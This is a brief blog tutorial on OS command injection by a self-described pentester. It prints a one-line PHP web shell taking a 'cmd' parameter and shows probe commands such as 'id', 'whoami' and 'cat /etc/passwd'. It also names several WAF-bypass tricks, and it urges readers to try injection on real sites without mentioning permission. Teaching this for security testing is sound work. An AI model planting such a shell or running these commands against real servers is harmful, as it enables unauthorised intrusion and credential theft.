Command injection tutorial

Sanketh J
2 min readFeb 17, 2021

--

Command injection is a type of web vulnerability that allows attackers to execute arbitrary operating system commands on the server, where the application is running.

Command injection vulnerabilities occur when the applications make use of shell commands or scripts that execute shell commands in the background.

<?php
echo system($_GET[‘cmd’]);
?>

I have created the basic php shell as shown above with “cmd” as parameter and named it as “shell.php” , and uploaded it to the website to justify the examples for further process. In real world scenario php shell will already be present in the site. Now, everything is set-up let’s begin.

I have tried some simple commands like “id”, “whoami”, “cat /etc/passwd” to demonstrate. You can similarly do other commands also. In real world scenario if you find any website taking value of the parameter this type you can try command injection and check if its vulnerable or not.

id
whoami
viewing passwords

These are some examples of the normal command injection. In my case the website doesn’t have any waf ( web application firewall ). In simple words, it doesn’t have any kind of filters present.

WAF bypass

To avoid command injection websites uses filters, you can’t simply execute the commands. So, to bypass in those cases we use some methods as shown below.

Single and Double quote bypass
Bypass with $@
Chaining bypass
Bypass with wildcard
Bypass with null variables

Sign up to discover human stories that deepen your understanding of the world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

--

--

Sanketh J
Sanketh J

Written by Sanketh J

Electronics and communication engineer, web pentester, ctf player

No responses yet

Write a response